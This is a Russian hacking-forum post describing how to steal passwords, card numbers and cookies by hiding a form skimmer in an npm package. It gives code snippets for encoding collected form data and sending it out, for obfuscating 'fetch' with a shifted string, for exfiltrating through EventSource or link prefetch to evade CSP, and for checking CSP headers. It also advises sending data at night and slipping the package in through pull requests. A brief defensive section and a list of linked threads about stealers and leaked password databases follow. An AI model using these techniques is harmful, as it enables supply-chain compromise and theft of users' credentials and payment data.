Кража паролей: как наши учетки уводят через npm-пакет

S

shellest

Original poster
steal-password-3-1024x680.jpg
Кража паролей лишит вас доступа к своей странице или может оставить без кругленькой суммы – вот оно, счастье злоумышленника. Рассмотрим один интересный способ, как кража паролей может быть успешно реализована.

Заполучить пароль или номер кредитной карты можно многими способами. Далее речь пойдет о том, как это делается при помощи внедрения кода в npm-пакет. Вредоносный код, который и выполняет всю грязную работу, занимается поиском на странице браузера чего-либо из представленного ниже:

  • любая форма для ввода;
  • элемент со свойством, в названии которого встречается «password», «cardnumber», «cvc», «checkout» и т. д.
Если после события submit искомая информация найдена, на этой страничке есть чем поживиться.

  • Из каждого поля формы извлекаем информацию: ( document.forms.forEach(…) );
  • собираем «печеньки»: document.cookie;
  • все это дело оборачивается всегда в рандомную строку: const payload = btoa(JSON.stringify(sensitiveUserData));
  • а после, отправляется на промежуточный хост:

    Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

    {payload};
  • и в случае наличия полезностей – отправляется на сервер хакера.
Перевернем мир
Чтобы это счастье вышло в свет, нужно как-то заставить код попасть на потенциальные сайты-доноры. Можно пытаться пробиться через расширения браузеров, но это не так эффективно. Межсайтовый скриптинг – хороший вариант, но у него (у XSS) есть свои протоколы безопасности, и снова не те масштабы. Гораздо лучше подойдет npm.

Можно изобрести пакет, который будет на лету менять цвет консольного вывода в браузере.


change-color-console.png
Заставляем принять этот “полезный” апдейт в свои зависимости, при помощи пулл-реквеста для нескольких (любых) существующих пакетов в сети, и ждать.

Через месяц имеем 120000 скачиваний этого обновления и выполнение кода на более чем 1000 сайтов. Конечно же, это не панацея, и велика вероятность, что эфемерное обновление пакета не примут с распростертыми объятиями, но это безопасно, и есть шанс, что быстро не засекут.


0c1912b555f3da3677cac.png
А может, ложку дегтя?
Звучит все гладко и красиво, но есть некоторые вопросы, которые могут появиться у пытливого читателя, и их нужно развенчать.

Сетевые запросы от скрипта – код почти ничего не отправляет, т. е. постоянного обмена трафиком нет. Отсылка собранного материала происходит с 19:00 до 7:00, когда безопасники и прочие тестеры уже ничего не тестируют. Даже если тестировщик и захочет отличиться, код подменяет URL на “левый”, схожий с социальными сетями, и отправка происходит всегда в разное время: вот такой эффект неожиданности.

Поиск “странностей” в npm. Удачи! Временные и ресурсные затраты несопоставимы, ну а если и найдется что-то, то в коде нет и намека на fetch, XMLHttpRequest или адрес хоста, на который все отправляется.


Код:
const i = ‘gfudi‘;
const k = s => s.split(‘‘).map(c => String.fromCharCode(c.charCodeAt() - 1)).join(‘‘)
self[k(i)](urlWithYourPreciousData);

«gfudi» – это fetch, но с переставленными буквами на одну, а self – это алиас window. Не используется ничего обычного, как fetch. Вместо этого, везде где можно, нужно применять EventSource(urlВашихЛюбимыхДанных). Даже если трафик буду слушать по serviceWorker-у, никто ничего не заподозрит т. к. ничего не отправляется в браузерах, которые поддерживают serviceWorker.

Использование CSP в качестве защиты. С точки зрения CSP наш код ничего запрещенного не делает, кроме отправки данных на какой-то домен. Да, CSP неплохо справляется с XSS-атаками и может ограничивать общение браузера с внешним миром, но действия скрипта не настолько масштабны, чтобы можно было что-то проанализировать.


Код:
const linkEl = document.createElement(‘link‘);
linkEl.rel = ‘prefetch‘;
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Чтобы не поплатиться за взлом, нужно проверять CSP на наличие функционирующей системы блокировки (connect-src) и инструмент-перехватчик (default-src). Сделать это можно так:
Код:
fetch(document.location.href)
.then(resp => {
const csp = resp.headers.get(‘Content-Security-Policy‘);

// Смотрим, как работает CSP });

Проверять нужно в первый раз, чтобы пользователь, и прочие надзиратели ничего не заподозрили.


4cadf057d204eaa7c4458.png
Куда теперь бежать?
Теперь подумаем от лица пользователя или разработчика: “Все плохо, наши пароли уже в даркнэте!”. Чтобы попытаться избежать провала, нельзя использовать npm на страницах с формами, и прочими собирающими компонентами.

Нельзя использовать стороннюю рекламу, Google Tag Manager, скрипты с диаграммами, аналитику – никакого постороннего кода быть не должно, иначе можно получить инъекцию. Это касается только страниц, где пользователь что-то вводит, остальная же часть сайта может спокойно работать на React-е и не беспокоиться.

Вам нужна отдельная страница, которая не имеет ничего лишнего и уже в ней собирать номера кредиток, пароли и учетные данные в iFrame.

Кража паролей осуществляется и при помощи фишинга (подделывание настоящего сайта инфицированной копией). Если хакер сможет завладеть вашим почтовым ящиком, то плакали все регистрации и банковские счета, которые были привязаны к этой почте. За 2017 год было взломано 12 млн. учетных записей.

Вполне успешным является и кейлогерство – 1 млн. пользователей пострадал, именно из-за этого вредоноса.


Заключение
Статья о том, что никому нельзя доверять, и оставлять сайт с известными уязвимостями строго запрещено, т. к. в мире огромное количество желающих полакомиться чем-то ценным. Любой сайт уязвим, и список этих брешей постоянно меняется: не забывайте держать руку на пульсе.
 
Название темы
Автор Заголовок Раздел Ответы Дата
H Кража данных через TikTok - легко Корзина 0
Admin Кража логов Skype и истории посещений браузеров. Уязвимости и взлом 0
Emilio_Gaviriya Статья Защита паролей от кейлоггеров Анонимность и приватность 0
balof почт и паролей 895к Раздача (аккаунтов/ключей) 3
L Интересно Java - Стиллер паролей в Minecraft моде Другие ЯП 8
F Собираю команду для брута паролей. Бруты/Парсеры/Чекеры 0
P Качественный подбор паролей (vk.comOk.ru,WhatsApp.Viber) от [email protected] Взлом сайта, взлом форума - на заказ! Хотите узнать с кем обща Корзина 0
Anorali Интересно Написание стиллера паролей от wifi WiFi/Wardriving/Bluejacking 24
ㅤ ㅤㅤㅤ Взломщик андроид паролей. Продажа софта 2
E Интересно Ненадёжность хранения паролей TeamViewer Уязвимости и взлом 0
Little_Prince Пак паролей для расшифровки дампов Другое 6
B AZORult стиллер + HVNC Bot, stealer - Мощный стиллер паролей, CC и криптовалют Корзина 2
J Стиллер паролей с отправкой по почте. Вирусология 5
M NordPass - менеджер паролей от NordVPN Полезные статьи 0
A Стиллер паролей для Chrome и Firefox Уязвимости и взлом 0
V 13 миллиардов почт и паролей пользователей Полезные статьи 11
M База логинов и паролей Online Уязвимости и взлом 4
Ж Генератор паролей C++ С/C++ 0
K [Pluralsight] Хакинг веб-приложений: взлом функционала по восстановлению паролей Другое 0
T [Асгард — С первых рук] Самодельный апаратный менеджер паролей Полезные статьи 0
1 Wi-Fi точка для перехвата паролей Kali Linux 4
R 16,5 гб паролей для взлома wifi Kali Linux 2
K Сборник программ для взлома паролей различных зашифрованных файлов запароленных архивов Другое 1
K [Pluralsight] Хакинг веб-приложений: взлом функционала по восстановлению паролей Другое 0
G Seth - MITM атака, перехват RDP паролей. Kali Linux 0
K Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 2 Уязвимости и взлом 0
K Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 1 Уязвимости и взлом 1
G Слив более 2 миллионов логинов и паролей от E-mail Раздача email 10
H Огромная база паролей от аккаунтов социальных сетей. Полезные статьи 3
K Использование Burp Suite в сценариях человек-посередине (MitM): сбор информации, перехват паролей, заражение бэкдорами Уязвимости и взлом 0
K Извлечение всех паролей (веб-браузеры, почтовые программы и пр.) в Windows и Linux Уязвимости и взлом 3
K Взлом паролей MS Office, PDF, 7-Zip, RAR, TrueCrypt, Bitcoin/Litecoin wallet.dat, htpasswd в oclHashcat Уязвимости и взлом 0
G Дешифровщик FTP паролей. Софт для работы с текстом/Другой софт 0
G ☠️1,4 млрд логинов и паролей Другое 0
S Перехват куки и паролей СИ/Фишинг/Мошенничество 0
S Опубликована база данных, включающая 320 млн уникальных хешей паролей Новости в сети 0
I Программы для создания словарей паролей Уязвимости и взлом 0
I Делаем из старенького ноутбука мега скоростной взломщик паролей Полезные статьи 36
A Простенький генератор паролей C# С/C++ 1
T Сайты с онлайн подбором паролей к WI-FI WiFi/Wardriving/Bluejacking 3
T Программа для перебора паролей на CPU + GPU под windows (Elcomsoft Wireless Security Auditor) WiFi/Wardriving/Bluejacking 4
D Список паролей для Брута (БОЛЬШОЙ) Другое 16
K Скиньте плиз пару словарей паролей Вопросы и интересы 1
R Стиллер куков и паролей c# .NET 3
Support81 Цифровой фронт расширяется: как США защищают своих союзников от хакеров Новости в сети 0
Support81 Два новых сервиса от Роскомнадзора: как изменится мониторинг российского интернета Новости в сети 0
Support81 VPN – ловушка для Android: как приложения превращают смартфоны в зомби Новости в сети 0
Emilio_Gaviriya Статья OpenVAS и как с ним работать. Уязвимости и взлом 0
Support81 Острова, бункеры, пиво: как миллиардеры готовятся к возможному концу света Новости в сети 0
Support81 Наказание для Минобороны: как Великобритания «помогла» афганским беженцам скрыться от талибов Новости в сети 0

Название темы